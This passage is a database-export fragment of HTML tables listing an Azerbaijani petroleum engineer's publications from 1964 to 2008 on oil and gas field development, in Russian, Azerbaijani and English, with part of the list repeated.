стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К изучению изменения темпов использования запасов при разработке залежей с неньютоновскими нефтями</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, В.А. Алиев</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\" №9,</p></td><td><p>1968</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К вопросу нефтеотдачи залежей с ньютоновской&nbsp;&nbsp; неньютоновской нефтей, разрабатываемые водным воздействием</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №10</p></td><td><p>1968</p></td><td><p>1.5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Исследование физико-механических свойств нефти подкирмакинской свиты месторождения Балаханы-Сабунчи-Раманы</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.И. Мамедов</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №4</p></td><td><p>1969</p></td><td><p>1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Анализ успешности методов воздействия на призабойную зону нефтяных скважин</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №5</p></td><td><p>1969</p></td><td><p>2.0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К исследованию коэффициента&nbsp; использования запасов кирмакинской свиты</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №6</p></td><td><p>1970</p></td><td><p>1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>О темпах обводнения нефтяных пластов</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №6</p></td><td><p>1970</p></td><td><p>2.5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Анализ промысловых данных по коэффициенту&nbsp;&nbsp; использования запасов на месторождениях с проявлением начального градиента давления</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №9</p></td><td><p>1970</p></td><td><p>3.0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>О применении дисперсионного анализа при изучении факторов, влияющих на нефтеотдачу</p></td><td><p>Journal article</p></td><td><p>А.Х. Мирзаджанзаде, Р.С. Гурбанов Р.С.&nbsp;&nbsp;</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №2</p></td><td><p>1971</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Методическое пособие \"Особенности разработки и эксплуатации месторождений неньютоновских нефтей\"</p></td><td><p>Metodical</p><p>Book</p></td><td><p>А.Х. Мирзаджанзаде, З.А. Ахмедов, Р.С. Гурбанов&nbsp;</p></td><td><p>Утвержден протоколом специального совещания Министерства нефтедобывающей промышленностит СССР. Москва, ВНИИОЭНГ</p></td><td><p>1971</p></td><td><p>&nbsp;</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Применение статистических методов при изучении факторов, влияющих на коэффициент нефтеотдачи</p></td><td><p>Metodical</p><p>Book</p></td><td><p>А.Х. Мирзаджанзаде, Р.С. Гурбанов</p></td><td><p>&nbsp;Института Геологии и Горючих Ископаемых</p><p>Москва</p></td><td><p>1972</p></td><td><p>&nbsp;70 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Исследование коэффициента нефтеизвлечения месторождений с неньютоновскими нефтями</p></td><td><p>Symposium</p></td><td><p>Р.С. Гурбанов</p></td><td><p>Аннотация докладов III Всесоюзного симпозиума по применению неньютоновских систем в нефтедобыче, город Краснодар</p></td><td><p>1972</p></td><td><p>1.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Физико-геологические проблемы повышения нефтегазоотдачи пластов</p></td><td><p>Metodical</p><p>Book</p></td><td><p>А.Х. Мирчинк,</p><p>А.Х. Мирзаджанзаде, Р.С. Гурбанов</p></td><td><p>&nbsp;Института Геологии и Горючих Ископаемых</p><p>Москва</p></td><td><p>1975</p></td><td><p>&nbsp;232 стр</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Производственная практика и её роль в повышении качества учебного процесса &nbsp;</p></td><td><p>Conference</p></td><td><p>Р.С. Гурбанов</p></td><td><p>Аннотация докладов VI научно-методической конференции Кабульского Политехнического Института, Афганистан</p></td><td><p>1978</p></td><td><p>1.0 стр</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Нефт вя газ йатагларынын ишлянмяси нин технолоэийасы вя комплекс механикляшдирилмяси\" вя \"Нефт вя газ гуйуларынын газылмасы\" ихтисаслары цзря тящсил алан тялябяляр цчцн \"Газын гуйу иля чыхарылмасы\" фянниндян Тядрис-танышлыг Тяърцбясинин Програмы вя Методик эюстянришляр</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p>Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p>1980</p></td><td><p>3.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" ихтисаслашмасы цзря тящсил алан тялябяляр цчцн \"Газ вя газконденсат йатагларынын ишлянмяси\" фянниндян&nbsp; Истещсалат&nbsp; Тяърцбясинин Програмы вя Методик эюстянришляр</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p>Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p>1980</p></td><td><p>10.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" ихтисаслашмасы цзря тящсил алан тялябяляр цчцн \"Газын гуйу иля чыхарылмасы\" фянниндян&nbsp; Истещсалат&nbsp; Тяърцбясинин Програмы вя Методик эюстянришляр</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p>Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p>1980</p></td><td><p>19.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Программа и методические указания учебно-ознакомительной практики по добыче газа для студентов по специальностям \"Технология и комплексная механизация разработки нефтяных и газовых месторождений\" и \"Бурение нефтяных и газовых\" &nbsp;&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1981</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Программа и методические указания Производственной практики по добыче газа для студентов по</p><p>специализации \"Разработка газовых и газоконденсатных месторождений\"</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1981</p></td><td><p>11 .0</p><p>стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Программа и методические указания Производственной практики по разработке газовых и газоконденсатных месторождений для студентов&nbsp;</p><p>специализации \"Разработка газовых и газоконденсатных месторождений\"</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>&nbsp;</p><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1981</p></td><td><p>11 .0</p><p>стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Расплавление парафинистых отложений, образующихся на стенках подъемных труб&nbsp;</p></td><td><p>Journal article</p></td><td><p>А.И. Мамедов,&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №3</p></td><td><p>1982</p></td><td><p>1 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Корреляционные зависимости для расчета параметров природного газа</p></td><td><p>Journal article</p></td><td><p>А.А. Багиров, Р.С. Гурбанов</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №9</p></td><td><p>1983</p></td><td><p>2 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Определение пластового давления и коэффициентов фильтрационного сопротивления по результатам исследования газовых скважин</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №19</p></td><td><p>1984</p></td><td><p>7 .5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Определение оптимальной глубины спуска подъемных труб в газовых скважинах месторождения Ходжа-Гугердаг</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №21</p></td><td><p>1985</p></td><td><p>4 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Выбор типа и оптимальной конструкции поверхностно-активного вещества для удаления жидкости с забоев скважин месторождений Северного Афганистана</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №20</p></td><td><p>1985</p></td><td><p>5 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Разработка нефтяных и газовых месторождений (на языке дари)</p></td><td><p>Textbook</p></td><td><p>М.Ф. Каримов, Р.С. Гурбанов, А.Р. Мангал</p></td><td><p>Издание Кабульского Политехнического Института,&nbsp;<strong>г. Кабул</strong></p></td><td><p>1985</p></td><td><p>100 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Прогнозирование накопления жидкости на забое газовых скважин месторождений Северного Афганистана</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №23</p></td><td><p>1986</p></td><td><p>1 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" кафедрасынын ихтисас фяннляри цзря лабораторийа ишляри Топлусу</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1993</p></td><td><p>86.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Эцняшли нефт йатаьы цзря \"фасиля\" лай дястясинин нефт ещтийатларынын щесабланмасы</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов,</p><p>Н.В. Нясибов</p></td><td><p>Азярбайъан Республикасы</p><p>\"Тящсил\" Ъямиййяти. Техника журналы, №3</p></td><td><p>2002</p></td><td><p>6.0</p><p>стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Decision making on estimation of production efficiency in oil recovery proceg</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов,</p><p>G.A. Safarov</p></td><td><p>Journal Knowledge Series Business.</p><p>\"Education\" Society of</p><p>Azerbaycan Republic, №2</p></td><td><p>2003</p></td><td><p>5.5 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Decision making on improvement of \"cost-revenue\" relation in oil and gas production</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов,</p><p>G.A. Safarov</p></td><td><p>Journal Knowledge Series Business.</p><p>\"Education\" Society of</p><p>Azerbaycan Republic, №1</p></td><td><p>2004</p></td><td><p>7.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Decreasing the production costs in oil and gas industry</p></td><td><p>Journal article</p></td><td><p>R.S. Gurbanov,</p><p>G.A. Safarov</p></td><td><p>Journal Knowledge</p><p>Series Business. \"Education\" Society of</p><p>Azerbaycan Republic, №3</p></td><td><p>2004</p></td><td><p>6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Role of Reengineering in training of specialists for national economy</p></td><td><p>Symposium</p></td><td><p>R.S. Gurbanov, R.S. Gurbanov</p></td><td><p>3<sup>rd</sup>&nbsp;International Symposium on Electrical, Electronic and Computer Engineering.Nicosia, North Cyprus</p></td><td><p>2006</p></td><td><p>6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Fuzzy Dupuis equation and its application for determination of fluid influx</p></td><td><p>Conference</p></td><td><p>R.S. Gurbanov, R.S. Gurbanov&nbsp;</p></td><td><p>4th International Conference on soft computing with words&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and perceptions in system analysis, decision and control, Antalya&nbsp;</p></td><td><p>2007</p></td><td><p>6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Исследование вопросов вибрации скважинного оборудования при газлифтном способе добычи нефти</p></td><td><p>Conference</p></td><td><p>R.S. Gurbanov, Б.А. Аскеов, О.Т. Багиров</p></td><td><p>Международная конференция \"Современные методы и средства&nbsp;&nbsp;&nbsp; неразрушающего контроля и технической&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; диагностики.\"</p></td><td><p>2008</p></td><td><p>2.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Газ гуйуларынын атгы хятляриндя щидрат ямяляэялмя йеринин тяйини</p></td><td><p>Journal article</p></td><td><p>О.Т. Баьыров, Б.Я. Яскяро,</p><p>Л.И. Манафов, Р.С.Гурбанов</p></td><td><p>Азярбайъан Елми-тядгигат Елми-техники Информасийа вя Техники-игтисади Тядгигатлар Инытитуту. Информасийа вяряги, №10</p></td><td><p>2003</p></td><td><p>4.0 səh</p></td></tr></tbody></table>  <br></div>'),(1549,966,'en','Rafig Qurbanov','Rafig Qurbanov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td><p>#</p></td><td><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Изменение температурного режима I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, Э.А.Багбанлы, Т.А. Зейналов</p></td><td><p>Изв. АН Азерб. ССР, сер. Геол.-геогр. наук</p></td><td><p>1964</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К методике графического определения пластового давления</p></td><td><p>Journal articles<strong>&nbsp;</strong></p></td><td><p>Р.С. Гурбанов, С. Д. Нуриев</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №4</p></td><td><p>1965</p></td><td><p>1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К вопросу установления тектонического нарушения по данным исследования скважин</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, Б.М.Листенгартен</p></td><td><p>Листок технической информации</p><p>сер. \"Нефтедобывающая промышленность\" АзИНТИ</p></td><td><p>1965</p></td><td><p>6.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Некоторые гидрохимические особенности I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p>Journal article<strong>&nbsp;</strong></p></td><td><p>Р.С. Гурбанов, Б.М. Молдавский</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №2</p></td><td><p>1966</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>О влиянии некоторых факторов на изменение качества нефти</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, А.Н. Гусейнов</p></td><td><p>Сборник трудов молодых ученых и аспирантов институтов отделения наук о Земле. Изд. АН Азерб. ССР</p></td><td><p>1966</p></td><td><p>11 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К вопросу эксплуатации скважин при повышенных перепадах давления</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Н. Гусейнов</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №7</p></td><td><p>1966</p></td><td><p>2.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Изменение химического состава пластовых вод I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, А.Р. Ахундов&nbsp;</p></td><td><p>\"Теория технологических процессов бурения и нефтедобычи \"Изд. \"Элм\"&nbsp; АН Азерб. ССР</p></td><td><p>1970</p></td><td><p>7 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К изучению изменения темпов использования запасов при разработке залежей с неньютоновскими нефтями</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, В.А. Алиев</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\" №9,</p></td><td><p>1968</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К вопросу нефтеотдачи залежей с ньютоновской&nbsp;&nbsp; неньютоновской нефтей, разрабатываемые водным воздействием</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №10</p></td><td><p>1968</p></td><td><p>1.5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Исследование физико-механических свойств нефти подкирмакинской свиты месторождения Балаханы-Сабунчи-Раманы</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.И. Мамедов</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №4</p></td><td><p>1969</p></td><td><p>1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Анализ успешности методов воздействия на призабойную зону нефтяных скважин</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №5</p></td><td><p>1969</p></td><td><p>2.0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К исследованию коэффициента&nbsp; использования запасов кирмакинской свиты</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №6</p></td><td><p>1970</p></td><td><p>1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>О темпах обводнения нефтяных пластов</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №6</p></td><td><p>1970</p></td><td><p>2.5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Анализ промысловых данных по коэффициенту&nbsp;&nbsp; использования запасов на месторождениях с проявлением начального градиента давления</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №9</p></td><td><p>1970</p></td><td><p>3.0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>О применении дисперсионного анализа при изучении факторов, влияющих на нефтеотдачу</p></td><td><p>Journal article</p></td><td><p>А.Х. Мирзаджанзаде, Р.С. Гурбанов Р.С.&nbsp;&nbsp;</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №2</p></td><td><p>1971</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Методическое пособие \"Особенности разработки и эксплуатации месторождений неньютоновских нефтей\"</p></td><td><p>Metodical</p><p>Book</p></td><td><p>А.Х. Мирзаджанзаде, З.А. Ахмедов, Р.С. Гурбанов&nbsp;</p></td><td><p>Утвержден протоколом специального совещания Министерства нефтедобывающей промышленностит СССР. Москва, ВНИИОЭНГ</p></td><td><p>1971</p></td><td><p>&nbsp;</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Применение статистических методов при изучении факторов, влияющих на коэффициент нефтеотдачи</p></td><td><p>Metodical</p><p>Book</p></td><td><p>А.Х. Мирзаджанзаде, Р.С. Гурбанов</p></td><td><p>&nbsp;Института Геологии и Горючих Ископаемых</p><p>Москва</p></td><td><p>1972</p></td><td><p>&nbsp;70 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Исследование коэффициента нефтеизвлечения месторождений с неньютоновскими нефтями</p></td><td><p>Symposium</p></td><td><p>Р.С. Гурбанов</p></td><td><p>Аннотация докладов III Всесоюзного симпозиума по применению неньютоновских систем в нефтедобыче, город Краснодар</p></td><td><p>1972</p></td><td><p>1.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Физико-геологические проблемы повышения нефтегазоотдачи пластов</p></td><td><p>Metodical</p><p>Book</p></td><td><p>А.Х. Мирчинк,</p><p>А.Х. Мирзаджанзаде, Р.С. Гурбанов</p></td><td><p>&nbsp;Института Геологии и Горючих Ископаемых</p><p>Москва</p></td><td><p>1975</p></td><td><p>&nbsp;232 стр</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Производственная практика и её роль в повышении качества учебного процесса &nbsp;</p></td><td><p>Conference</p></td><td><p>Р.С. Гурбанов</p></td><td><p>Аннотация докладов VI научно-методической конференции Кабульского Политехнического Института, Афганистан</p></td><td><p>1978</p></td><td><p>1.0 стр</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Нефт вя газ йатагларынын ишлянмяси нин технолоэийасы вя комплекс механикляшдирилмяси\" вя \"Нефт вя газ гуйуларынын газылмасы\" ихтисаслары цзря тящсил алан тялябяляр цчцн \"Газын гуйу иля чыхарылмасы\" фянниндян Тядрис-танышлыг Тяърцбясинин Програмы вя Методик эюстянришляр</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p>Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p>1980</p></td><td><p>3.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" ихтисаслашмасы цзря тящсил алан тялябяляр цчцн \"Газ вя газконденсат йатагларынын ишлянмяси\" фянниндян&nbsp; Истещсалат&nbsp; Тяърцбясинин Програмы вя Методик эюстянришляр</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p>Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p>1980</p></td><td><p>10.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" ихтисаслашмасы цзря тящсил алан тялябяляр цчцн \"Газын гуйу иля чыхарылмасы\" фянниндян&nbsp; Истещсалат&nbsp; Тяърцбясинин Програмы вя Методик эюстянришляр</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p>Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p>1980</p></td><td><p>19.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Программа и методические указания учебно-ознакомительной практики по добыче газа для студентов по специальностям \"Технология и комплексная механизация разработки нефтяных и газовых месторождений\" и \"Бурение нефтяных и газовых\" &nbsp;&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1981</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Программа и методические указания Производственной практики по добыче газа для студентов по</p><p>специализации \"Разработка газовых и газоконденсатных месторождений\"</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1981</p></td><td><p>11 .0</p><p>стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Программа и методические указания Производственной практики по разработке газовых и газоконденсатных месторождений для студентов&nbsp;</p><p>специализации \"Разработка газовых и газоконденсатных месторождений\"</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>&nbsp;</p><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1981</p></td><td><p>11 .0</p><p>стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Расплавление парафинистых отложений, образующихся на стенках подъемных труб&nbsp;</p></td><td><p>Journal article</p></td><td><p>А.И. Мамедов,&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №3</p></td><td><p>1982</p></td><td><p>1 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Корреляционные зависимости для расчета параметров природного газа</p></td><td><p>Journal article</p></td><td><p>А.А. Багиров, Р.С. Гурбанов</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №9</p></td><td><p>1983</p></td><td><p>2 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Определение пластового давления и коэффициентов фильтрационного сопротивления по результатам исследования газовых скважин</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №19</p></td><td><p>1984</p></td><td><p>7 .5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Определение оптимальной глубины спуска подъемных труб в газовых скважинах месторождения Ходжа-Гугердаг</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №21</p></td><td><p>1985</p></td><td><p>4 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Выбор типа и оптимальной конструкции поверхностно-активного вещества для удаления жидкости с забоев скважин месторождений Северного Афганистана</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №20</p></td><td><p>1985</p></td><td><p>5 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Разработка нефтяных и газовых месторождений (на языке дари)</p></td><td><p>Textbook</p></td><td><p>М.Ф. Каримов, Р.С. Гурбанов, А.Р. Мангал</p></td><td><p>Издание Кабульского Политехнического Института,&nbsp;<strong>г. Кабул</strong></p></td><td><p>1985</p></td><td><p>100 